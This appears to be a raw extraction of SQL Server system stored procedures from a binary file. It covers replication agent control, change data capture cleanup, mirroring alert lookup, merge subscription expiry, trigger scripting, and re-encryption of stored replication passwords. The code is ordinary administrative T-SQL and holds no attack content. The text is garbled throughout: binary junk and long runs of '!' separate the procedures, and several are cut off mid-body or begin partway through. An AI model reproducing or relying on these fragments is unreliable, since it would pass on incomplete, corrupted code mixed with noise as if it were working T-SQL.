                      and subscription_type = @PUSH)
    begin
        -- "The subscription could not be found."
        raiserror (20021, 16, -1)
        return 1
    end

    exec @retcode = sys.sp_helpdistributor 
            @rpcsrvname = @distributor_rpc output,
            @distribdb = @distribution_db output,
            @publisher = @publisher

    if @@error <> 0 or @retcode <> 0 or @distribution_db is NULL
    begin
        -- "The Distributor has not been installed correctly."
        raiserror (20036, 16, -1)
        return 1
    end    
                      
    if @independent_agent = 0
    begin
        set @publication = 'ALL'
    end

    set @procedure = quotename(rtrim(@distributor_rpc)) + '.' + quotename(rtrim(@distribution_db)) + case when @action = @start then '.sys.sp_MSstartdistribution_agent' else '.sys.sp_MSstopdistribution_agent' end 
    exec @retcode = @procedure
            @publisher = @publisher,
            @publisher_db = @publisher_db,
            @publication = @publication,
            @subscriber = @subscriber,
            @subscriber_db = @subscriber_db
    return @retcode
end
0m D8fh>-ER(), 
					@error_severity = ERROR_SEVERITY(), 
					@error_state = ERROR_STATE()

			RAISERROR(@error_number, @error_severity, @error_state)

			RETURN 1
		END
	END CATCH

	RETURN 0
END
0NJ@ !8
create procedure sys.sp_replica (
        @tabname nvarchar(92),     /* The table being replicated */
        @replicated nvarchar(5)    /* True or false */
        ) AS

    SET NOCOUNT ON
    RAISERROR (21023, 16, -1,'sp_replica')
    RETURN(1)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!	Y
K`n<9<G^0r 
8create procedure sys.sp_dbmmonitorhelpalert
(
	@database_name				sysname,
	@alert_id					int = null
)
as
begin 
	set nocount on
	if (is_srvrolemember(N'sysadmin') <> 1 )
        begin
			raiserror(21089, 16, 1)
			return (1)
		end
	if object_id ( N'msdb.dbo.dbm_monitor_alerts', N'U' ) is null
	begin
		raiserror( 32041, 16, 1 )
		return 1
	end
	-- Is this a system database?
	if(@database_name = N'msdb' or @database_name = N'master' or @database_name = N'model' or @database_name = N'tempdb')
	begin
		raiserror( 32050, 16, 1)
		return 1
	end
	-- Does the database exist?
	if not exists (select * from master.sys.databases where name = @database_name)
	begin
		raiserror(15010, 16, 1, @database_name)
		return 1
	end

	declare		@value		int,
				@enabled	bit
	if (@alert_id is null)
	begin
		declare  @results2 table(	-- remove temp table as done in other help sp.
			alert_id		int,
			threshold		int null,
			enabled			bit null
		)
		insert into @results2 select 1, time_behind, enable_time_behind from msdb.dbo.dbm_monitor_alerts where database_id = db_id(@database_name)
		insert into @results2 select 2, send_queue,  enable_send_queue  from msdb.dbo.dbm_monitor_alerts where database_id = db_id(@database_name)
		insert into @results2 select 3, redo_queue,  enable_redo_queue  from msdb.dbo.dbm_monitor_alerts where database_id = db_id(@database_name)
		insert into @results2 select 4, average_delay, enable_average_delay from msdb.dbo.dbm_monitor_alerts where database_id = db_id(@database_name) 
		select * from @results2
		
		return 0
	end
	else
	begin
		if(@alert_id < 1 or @alert_id > 5)
		begin
			raiserror( 32036, 16, 1)
			return 1
		end
	
		if @alert_id = 1
		begin
			select @value = time_behind, @enabled = enable_time_behind from msdb.dbo.dbm_monitor_alerts where database_id = db_id(@database_name)
		end
		if @alert_id = 2
		begin
			select @value = send_queue, @enabled = enable_send_queue from msdb.dbo.dbm_monitor_alerts where database_id = db_id(@database_name)
		end
		if @alert_id = 3
		begin
			select @value = redo_queue, @enabled = enable_redo_queue from msdb.dbo.dbm_monitor_alerts where database_id = db_id(@database_name)
		end
		if @alert_id = 4
		begin
			select @value = average_delay, @enabled = enable_average_delay from msdb.dbo.dbm_monitor_alerts where database_id = db_id(@database_name)
		end
		if @alert_id = 5
		begin
			select @value = retention_period from msdb.dbo.dbm_monitor_alerts where database_id = db_id(@database_name)
			set @enabled = null
		end
		select @database_name as 'database_name', @value as 'threshold', @enabled as 'enabled'
		
	end
	return 0
end
0z@ 8create procedure [sys].[sp_cdc_add_capture_instance_entry]
(
	@object_id				int
	,@source_object_id		int
	,@capture_instance		sysname
	,@start_lsn				binary(10) 
	,@supports_net_changes	bit
	,@role_name				sysname
	,@index_name			sysname
	,@filegroup_name		sysname
	,@create_date			datetime
	,@is_partitioned		bit
	,@allow_partition_switch	bit 
)
as
begin
		insert into [cdc].[change_tables]
		values(@object_id
			,0          
			,@source_object_id
			,@capture_instance
			,@start_lsn 
			,null
			,@supports_net_changes
			,null
			,@role_name
			,@index_name
			,@filegroup_name
			,@create_date
	   		,case @is_partitioned when 1 then @allow_partition_switch else 1 end)	

		return 0
end	
0 8create procedure [sys].[sp_cdc_cleanup_job_internal]
(
	@retention bigint,
	@threshold bigint
)	
as
begin
	declare @retcode int
			,@is_cdc_enabled bit
			,@stmt nvarchar(1000)
			,@uses_cleanup_process bit
			,@low_water_mark binary(10)
			,@db_name sysname
			,@xstr nvarchar(22)
			,@old_low_water_mark binary(10)
	
    set nocount on
    
    set @db_name = db_name()
    
    -- Compute a new low water mark based upon the database retention time.
    set @low_water_mark = [sys].[fn_cdc_compute_low_water_mark](@retention)
    if (@@error != 0) 
    begin
		raiserror(22923, 16, -1, @db_name, @retention)
        return 1
    end

	-- If the returned low water mark is non-null we need to update
	-- the start_lsn values in cdc.change_tables to reflect the new
	-- low water mark.
    if (@low_water_mark is not null) 
    begin
    
		update [cdc].[change_tables]
		set start_lsn = @low_water_mark
		where start_lsn < @low_water_mark
   
        if (@@error <> 0)
        begin
			raiserror(22851, 16, -1, @db_name)
			return 1
        end
      
    end
    

    -- We come here whether or not the low water mark has been modified. This allows
    -- us to use a best effort approach when deleting entries from the change tables. 
    -- If all obsolete entries do not get removed on any given run, attempts will 
    -- continue to be made on subsequent runs.  
    exec [sys].[sp_cdc_cleanup_change_tables]
		@threshold, null
 
    return 0
    
end
0{ 	8create procedure sys.sp_MScheck_subscription_expiry 
    @pubid uniqueidentifier,
    @subscriber sysname,
    @subscriber_db sysname,
    @expired bit output
AS
    declare @status int
    declare @retcode int
    declare @subid uniqueidentifier
    declare @retention          int -- in time unit
    declare @retention_period_unit tinyint -- the time unit
    declare @recent_merge       datetime
    declare @minus_retention    datetime
    declare @pubname sysname
    declare @subscriber_type int

    if @pubid is NULL
    begin
		raiserror (14043, 11, -1, '@pubid', 'sp_MScheck_subscription_expiry')
		return (1)
    end
    
	exec @retcode = sys.sp_MSrepl_PAL_rolecheck @pubid = @pubid
	if @@error<>0 or @retcode<>0
	    return 1

    select @pubname = name, @retention = retention, @retention_period_unit = retention_period_unit from dbo.sysmergepublications where pubid = @pubid
    if @pubname is NULL
    begin
		raiserror (21723, 11, -1, 'sp_MScheck_subscription_expiry')
		return (1)
    end
    
    if @retention is not NULL and @retention > 0
    begin
        select @minus_retention = sys.fn_add_units_to_date(-@retention, @retention_period_unit, getdate())
        select @subid=subid, @status=status, @recent_merge = last_sync_date, @subscriber_type = subscriber_type 
            from dbo.sysmergesubscriptions where pubid=@pubid and db_name=@subscriber_db and 
    	        UPPER(subscriber_server) collate database_default = UPPER(@subscriber) collate database_default
    	if @subid is NULL
    	begin
    	    -- this could mean that for local or anonymous or lighweight subscriptions that we
    	    -- do not know about the subscription. For global subscriptions this should never happen.
    	    -- The reconciler should call this proc after ascertaining that the subscription exists
    	    if @subscriber_type = 1
    	        select @expired = 1
    	    else
        	    select @expired = 0
    	    return 0
    	end

    	if @status=2
    	begin
    	    select @expired = 1
    	end
    	else
    	begin
    	    if @recent_merge is not NULL and @recent_merge<@minus_retention
    	    begin
                update dbo.sysmergesubscriptions set status=2 where subid=@subid
                IF @@ERROR<>0
                    return 1
                select @expired = 1
    	    end
    	    else
    	        select @expired = 0
    	end         
    end
    else
        select @expired = 0

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
`n+<:C&']0
 8create procedure sys.sp_MSscript_trigger_variables
(
    @objid int,
    @prefix char(1) = null, -- null or '@'
    @postfix varchar(4) = null,
    @indent int = 0,
    @spacer nvarchar(1) = N' ', 
    @bOutput_params tinyint = 0,  -- declare output params if necessary
    @identity_col sysname = null,
    @ts_col sysname = null,
    @include_type bit = 0,
    @set_nulls    bit = 0,
    @op_type char(3) = 'ins', -- 'ins, 'upd', 'del'
    @is_new        bit = 0,
    @primary_key_bitmap varbinary(4000) = NULL,
    @no_output bit = 0
)
as
begin
    set nocount on
    declare @cmd          nvarchar(4000)
        ,@colname      sysname
        ,@ccoltype     sysname
        ,@src_cols     int
        ,@this_col     int
        ,@total_col        int
        ,@indkey            int
        ,@fcreatedcolmap    bit
        ,@rc           int
        ,@column          nvarchar(4000)
        ,@thisspname sysname
    declare @colmap table (relativeorder int identity(1,1), colid int)

    -- script cursor select variables
    select @cmd = N''
            ,@thisspname = N'sp_MSscript_trigger_variables'
            ,@indkey = 1
            ,@fcreatedcolmap = 0
    select @src_cols = max(column_id)
            ,@total_col = count(column_id)
    from sys.columns where object_id = @objid
    exec sys.sp_MSpad_command @cmd output, @indent
    --
    -- check if column Id match relative column order
    -- for trigger scripting
    --
    if (@total_col < @src_cols)
    begin
        --
        -- this table may have altered columns, so when we need to 
        -- set a mapping for using the bitmaps properly as the bitmap
        -- always refers relative column order
        --
        insert into @colmap (colid)
        select column_id from sys.columns where object_id = @objid order by column_id
        if (@@error != 0)
        begin
            raiserror(21499, 16, 4, @thisspname, 'populate', '@colmap', @@error)
            return (1)
        end
        select @fcreatedcolmap = 1
    end

    while (@indkey <= @total_col)
    begin
        --
        -- set the actual column id for this relative order in the bitmap if necessary
        --
        if (@fcreatedcolmap = 1)
        begin
            select @this_col = colid from @colmap 
            where relativeorder = @indkey 
        end
        else
        begin
            select @this_col = @indkey
        end
        --
        -- Get column name
        -- Don't include timestamp or computed columns        
        --
        exec @rc = sys.sp_MSget_colinfo @objid, @this_col, null, 0, @colname output, @ccoltype output    
        if @rc = 0 and EXISTS (select name from sys.columns where object_id=@objid and column_id=@this_col and is_computed<>1 and system_type_id <> 189)
        begin
            if @prefix is null
            begin
                if (@set_nulls = 1)
                begin
                    -- Optimization:
                    -- Get null or actual column name
                    -- Note: the output is quoted.
                    exec sys.sp_MSget_synctran_column 
                        @ts_col = @ts_col,
                        @op_type = @op_type, -- 'ins, 'upd', 'del'
                        @is_new = @is_new,
                        @primary_key_bitmap = @primary_key_bitmap,
                        @colname = @colname,
                        @this_col = @this_col,
                        @column = @column output,
                        @from_proc = 0, 
                        @coltype = @ccoltype, 
                        @type = NULL,
                        @art_col = @indkey
                    select @column = @column + isnull(@postfix, N'')
                end
                else
                begin
                    -- set null is false
                    select @column = quotename(@colname + isnull(@postfix, N''))
                end
                --
                -- special processing for xml data in trigger multirow processing
                -- when we use this SP for scripting the cursor definition
                --
                if (@ccoltype = 'xml' and @prefix is null and @postfix is null)
                    select @column = 'cast(' + @column + 'as nvarchar(max)) '
                --
                -- append to the command
                --
                select @cmd = @cmd + @spacer + @column 
            end -- if @prefix is null
            else
            begin
                -- prefix was specified
                select @cmd = @cmd + @spacer + isnull(@prefix, N'') 
                + N'c' + RTRIM(convert(nvarchar(4), @this_col)) + isnull(@postfix, N'')
            end

            if (@include_type = 1)
            begin
                declare @typestring nvarchar(100)
                exec sys.sp_MSget_type @objid, @this_col, @colname output, @typestring OUTPUT
                select @cmd = @cmd +  N' ' + @typestring 
            end
            -- new vars of type timestamp and identity are declared as output params
            if (@bOutput_params = 1 and (@ccoltype = N'timestamp' or ColumnProperty(@objid, @colname, 'IsIdentity') = 1))
            or (@colname = @identity_col or @colname = @ts_col)
            begin
                -- YWU: Do this to avoid output in cursor declaration statement.
                -- The right thing seems to be set output only when bOutput_params is set
                -- but it seems not the way this sp is called.
                if @set_nulls = 0 and @no_output = 0
                select @cmd = @cmd + N' output'
            end
            select @spacer = N','
        end -- if rc=0 and exists ...
        
        exec sys.sp_MSflush_command @cmd output, 0, @indent
        select @indkey = @indkey + 1
    end -- while () loop

    exec sys.sp_MSflush_command @cmd output, 1, @indent
    insert into #proctext(procedure_text) values(N'
') 

end
0 8create function sys.fn_MSguidtostr (@guid uniqueidentifier)
returns nvarchar(32)
as
begin
declare @guidstr nvarchar(36)
declare @mystr nvarchar(32)

set @guidstr = convert(nchar(36), @guid)
set @mystr = substring(@guidstr, 1, 8) + substring(@guidstr, 10, 4) +
    substring(@guidstr, 15, 4)+ substring(@guidstr, 20, 4)+ substring(@guidstr, 25, 12)

return @mystr
end
0B@ P8Q)h>O!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!%`u<F;=/0$ 8create function sys.fn_remote_provider_types(
	@server		sysname,
	@data_type	smallint = NULL,
	@best_match	bit = NULL)
returns table
as
return select * from OpenRowset(SYSREMOTE_PROVIDER_TYPES, @server, @data_type, @best_match)
0Š 8 
-- add it
create view sys.dm_pdw_nodes_tran_active_snapshot_database_transactions as
select *, convert(int, null) pdw_node_id from sys.dm_tran_active_snapshot_database_transactions
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!k`q<F	<=uH0@ 
8create procedure sys.sp_MSremoveoffloadparameter (
    @job_id    VARBINARY(16),
    @agenttype NVARCHAR(20) 
    ) AS
    SET NOCOUNT ON
    
    /*
    ** Declarations
    */
    
    DECLARE @paramstart    INT
    DECLARE @paramend      INT
    DECLARE @paramlen      INT
    DECLARE @paramend2     INT
    DECLARE @command       NVARCHAR(3200) 
    DECLARE @commandtail   NVARCHAR(3200)
    DECLARE @pattern       NVARCHAR(100)

    SELECT @pattern = N'%-[Oo][Ff][Ff][Ll][Oo][Aa][Dd]%'
    SELECT @paramlen = LEN(N'-offload')
    SELECT @command = NULL

    /*
    ** Security Check: require sysadmin
    */
    IF (ISNULL(IS_SRVROLEMEMBER('sysadmin'),0) = 0)
    BEGIN
        RAISERROR(21089,16,-1) 
        RETURN (1)
    END

    -- use the job_id and the agent type to retrieve the agent command
    -- line, only one agent command step is allowed in a job

    SELECT @command = command FROM msdb.dbo.sysjobsteps 
     WHERE job_id = @job_id AND LOWER(subsystem collate SQL_Latin1_General_CP1_CS_AS) = LOWER(@agenttype collate SQL_Latin1_General_CP1_CS_AS)

    -- purge all instances of '-offload servername' from the agent command line
    SELECT @paramstart = PATINDEX(@pattern, @command)
    WHILE ((@command IS NOT NULL) AND (@paramstart <> 0))
    BEGIN       
        -- extract the part of the command line after the -Offload parameter
        SELECT @commandtail = SUBSTRING(@command, @paramstart + @paramlen, 
                                        LEN(@command) - 
                                        (@paramstart + @paramlen) + 1)

        -- search for the beginning of the server name that follows -offload
        -- in the command tail; note that the empty spaces in the square
        -- bracket of the pattern are actually a space and a tab

        SELECT @paramend = PATINDEX(N'%[^     ]%', @commandtail)

        -- search for the end of the server name that follows -offload
        IF (@paramend <> 0) 
        BEGIN
            SELECT @commandtail = SUBSTRING(@commandtail, @paramend, 
                                            LEN(@commandtail) - @paramend + 1)
            SELECT @paramend2 = PATINDEX(N'%[     ]%', @commandtail) 
            IF (@paramend2 <> 0)
            BEGIN
                SELECT @paramend = @paramend + @paramend2 - 1
            END
            ELSE
            BEGIN
                -- reaching the end of the command line
                SELECT @paramend = @paramend + LEN(@commandtail) - 1
                IF @paramstart > 1 
                BEGIN
                    SELECT @paramstart = @paramstart - 1
                    SELECT @paramend = @paramend + 1
                END
            END
        
        END                
        -- Remove the -Offload parameter from the command line
        SELECT @command = STUFF(@command, @paramstart, @paramlen + @paramend, N'')

        SELECT @paramstart = PATINDEX(@pattern, @command)
    END
    
    -- update the agent command line with all the -offload's removed
    UPDATE msdb.dbo.sysjobsteps 
       SET command = @command
     WHERE job_id = @job_id AND LOWER(subsystem collate SQL_Latin1_General_CP1_CS_AS) = LOWER(@agenttype collate SQL_Latin1_General_CP1_CS_AS)   
    
    RETURN 0
0Z@ N	8
--
-- Name:
--		sp_IHXactSetJob
--
-- Description:
--		Manage the Oracle Poll Job used to force polling intervals
--		when the number of monitored changes exceeds a defined
--		threshold.
--
-- Inputs:
--		@publisher		== name of Oracle publisher
--		@enabled		== enabled flag
--		@interval		== minutes between Poll Job executions
--		@threshold		== number of changes to be exceeded
--					       prior to forcing new poll interval.
--		@LRinterval		== minutes between Poll Job executions
--                         when log reder is active
--		@LRthreshold	== number of changes to be exceeded
--					       prior to forcing new poll interval
--                         when log reader is active
--
-- Returns:
--		Return code (0 for success, 1 for failure)
--
-- Security:
--		public -- call must be sysadmin
--
-- Notes:
--		This stored procedure is provided so that the administrator of Oracle
--		publishing can activate, deactivate, and modify the parameters that
--		configure the execution of the Poll Job run at the Oracle database.
--      The settings are retained at the publisher in HREPL_XactSetJob.
--      All parameters default to NULL.  NULL parameters are not reset at the
--      publisher.
--

CREATE PROCEDURE sys.sp_IHXactSetJob
(
	@publisher		sysname,
	@enabled		bit = NULL,
	@interval		int = NULL,
	@threshold		int = NULL,
	@LRinterval		int = NULL,
	@LRthreshold	int = NULL
)
AS
BEGIN
	DECLARE @cmd			nvarchar(4000)
	DECLARE @retcode		int
	DECLARE @publisher_type	sysname

	--
	-- Security Check: require sysadmin
	--
	IF (ISNULL(IS_SRVROLEMEMBER('sysadmin'),0) = 0)
	BEGIN
		RAISERROR(21089,16,-1) 
		RETURN (1)
	END

	SET @retcode = 0

	EXEC @retcode = sys.sp_MSrepl_getpublisherinfo	@publisher		= @publisher,
													@rpcheader		= @cmd OUTPUT,
													@publisher_type	= @publisher_type OUTPUT,
													@hreplOnly		= 1
	
	IF @retcode <> 0
		RETURN (@retcode)

	-- Error if the publisher is not an Oracle publisher
	IF @publisher_type NOT LIKE 'ORACLE%'
	BEGIN
		RAISERROR (21696, 16, -1, @publisher, @publisher_type)
    		RETURN (1)
	END

	set @cmd = @cmd + N'sys.sp_ORAXactSetJob'
	
	EXEC @retcode = @cmd	@publisher,
				@enabled,
				@interval,
				@threshold,
				@LRinterval,
				@LRthreshold
	RETURN (@retcode)
END
 begin
                EXEC @retcode = sys.xp_repl_convert_encrypt @ftp_password OUTPUT
                IF @@error <> 0 OR @retcode <> 0
                    goto error
            end

            -- if we have sphinx/shiloh encryption go ahead and convert
            if sys.fn_replencryptversion(@distributor_password) in (1, 2, 3)
            begin
                EXEC @retcode = sys.xp_repl_convert_encrypt @distributor_password OUTPUT
                IF @@error <> 0 OR @retcode <> 0
                    goto error
            end

            -- if we have sphinx/shiloh encryption go ahead and convert
            if sys.fn_replencryptversion(@publisher_password) in (1, 2, 3)
            begin
                EXEC @retcode = sys.xp_repl_convert_encrypt @publisher_password OUTPUT
                IF @@error <> 0 OR @retcode <> 0
                    goto error
            end

            -- if we have sphinx/shiloh encryption go ahead and convert
            if sys.fn_replencryptversion(@dts_package_password) in (1, 2, 3)
            begin
                EXEC @retcode = sys.xp_repl_convert_encrypt @dts_package_password OUTPUT
                IF @@error <> 0 OR @retcode <> 0
                    goto error
            end

            update MSsubscription_properties
            set ftp_password=@ftp_password, distributor_password=@distributor_password, publisher_password=@publisher_password, dts_package_password=@dts_package_password
            where current of #cur_MSsubscription_properties
            
            fetch #cur_MSsubscription_properties into @ftp_password, @distributor_password, @publisher_password, @dts_package_password
        end -- while ( @@fetch_status <> -1 ) 
        close #cur_MSsubscription_properties
        deallocate #cur_MSsubscription_properties
    end -- if object_id('MSsubscription_properties')
    
    commit transaction
    return 0

error:
    rollback tran sp_vupgrade_subpass
    commit tran
    return 1
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
h
`L<==S5hU0V 8-- 
-- Name: fn_repltrimleadingzerosinhexstr
--
-- Description: This function is used for trimming the leading zeros 
--              of a 32-bit hexadecimal string. For example,
--              select fn_repltrimleadingzerosinhexstr('0000abcd') would 
--              yield 'abcd'. A notable special case would be select
--              fn_repltrimleadingzerosinhexstr('00000000') which yields
--              the string '0' instead of ''.
--
-- Parameter:   @hexstr  nchar(8) - @hexstr is expected to be a full 
--              hexadecimal representation of a 32-bit integer without the
--              0x prefix
--
-- Notes: 
--
-- Returns:     nvarchar(8)
-- 
-- Security:    Execute permission of this function is granted to public.
--
create function sys.fn_repltrimleadingzerosinhexstr (
    @hexstr nchar(8)
    ) returns nvarchar(8)
as
begin
    declare @trimmed_hexstr nvarchar(8),
            @i int    
    select @i = 1
    while @i < 8
    begin
        if substring(@hexstr,@i,1) <> N'0'
            break;
        select @i = @i + 1
    end    
    select @trimmed_hexstr = substring(@hexstr,@i,8-@i+1)
    return @trimmed_hexstr
end
0@ 8create procedure sys.sp_MSscript_multirow_trigger 
(
    @objid        int,
    @publisher    sysname,
    @publisher_db sysname,
    @publication  sysname,
    @procname     sysname,
    @proc_owner      sysname,
    @cftproc      sysname,
    @identity_col  sysname,
    @ts_col        sysname,
    @op_type char(3) = 'ins', -- 'ins, 'upd', 'del'
    @primary_key_bitmap varbinary(4000) = NULL,
    @pubversion int
)
as
BEGIN
    set nocount on
    declare @cmd  nvarchar(4000)
                ,@fisqueued bit

    select @fisqueued = case when (@cftproc is null) then 0 else 1 end
    --
    -- start scripting
    --
    select @cmd = N'
    else
    begin 
        ' + N'--
        ' + N'-- start of multirow row trigger update 
        ' + N'-- '
    insert into #proctext(procedure_text) values(@cmd)
    --
    -- setup cursor over inserted table for ins & upd triggers
    --
    if @op_type in ('ins', 'upd')
    begin
        select @cmd = N'
        declare rpl_ins_cursor CURSOR LOCAL FAST_FORWARD FOR select 
'
        insert into #proctext(procedure_text) values(@cmd)

        exec sys.sp_MSscript_trigger_variables @objid, null, null, 8, ' ',
            0,@identity_col, @ts_col,0, 1, @op_type, 1, @primary_key_bitmap

        select @cmd = N'
            from inserted for read only
        open rpl_ins_cursor 
'
        insert into #proctext(procedure_text) values(@cmd)
    end
    if (@fisqueued = 0)
    begin
        --
        -- Immediate insert trigger - cache the inserted values for identity operation
        --
        if @op_type in ('ins')
        begin
            select @cmd = N'
        declare rpl_ins2_cursor CURSOR LOCAL FAST_FORWARD FOR select 
'
            insert into #proctext(procedure_text) values(@cmd)
            exec sys.sp_MSscript_trigger_variables @objid, null, null, 8, ' '
            select @cmd = N'
            from inserted for read only
        open rpl_ins2_cursor 
'
            insert into #proctext(procedure_text) values(@cmd)
        end
    end
    --
    -- setup cursor over deleted table for  upd & del triggers
    --
    if @op_type in ('upd', 'del')
    begin
        select @cmd = N'
        declare rpl_del_cursor CURSOR LOCAL FAST_FORWARD FOR select 
'
        insert into #proctext(procedure_text) values(@cmd)

        exec sys.sp_MSscript_trigger_variables @objid, null, null, 8, ' ', 
            0,@identity_col, @ts_col,0, 1,  @op_type, 0, @primary_key_bitmap

        select @cmd = N'
            from deleted for read only
        open rpl_del_cursor 
'
        insert into #proctext(procedure_text) values(@cmd)
    end
    --
    -- script fetch statement
    --
    exec sys.sp_MSscript_trigger_fetch_statement @objid, @op_type, 8, @fisqueued
    --
    -- start the fetch loop
    --
    select @cmd = N'
        while (@@fetch_status != -1)
        begin '
    insert into #proctext(procedure_text) values(@cmd)
    --
    -- script the execution logic
    --
    exec sys.sp_MSscript_trigger_exec_rpc @publisher, @publisher_db, @publication, @procname, @proc_owner, 
        @cftproc, @objid, @op_type, 16, @identity_col, @ts_col, @primary_key_bitmap, @pubversion
    --
    -- script any updates to be done
    --
    if @op_type in ('ins', 'upd')
        exec sys.sp_MSscript_trigger_updates @identity_col, @ts_col, @op_type, @objid, 8, @primary_key_bitmap
    --
    -- do the next fetch
    --
    insert into #proctext(procedure_text) values(N'
')
    exec sys.sp_MSscript_trigger_fetch_statement @objid, @op_type, 12, @fisqueued
    --
    -- release the cursors
    --
    select @cmd = N'
        end  -- cursor while loop'
    insert into #proctext(procedure_text) values(@cmd)

    if @op_type in ('ins', 'upd')
    begin
        select @cmd = N'
        close rpl_ins_cursor
        deallocate rpl_ins_cursor '
        insert into #proctext(procedure_text) values(@cmd)
    end
    if (@fisqueued = 0)
    begin
        if @op_type = 'ins'
        begin
            select @cmd = N'
        close rpl_ins2_cursor
        deallocate rpl_ins2_cursor '
            insert into #proctext(procedure_text) values(@cmd)
        end
    end
    if @op_type in ('upd', 'del')
    begin
        select @cmd = N'
        close rpl_del_cursor
        deallocate rpl_del_cursor '
        insert into #proctext(procedure_text) values(@cmd)        
    end
    --
    -- script the end (for single row change)
    -- 
    select @cmd = N'
    end -- end of multi row trigger update '
    insert into #proctext(procedure_text) values(@cmd)
    --
    -- all done
    --
    return 0
END
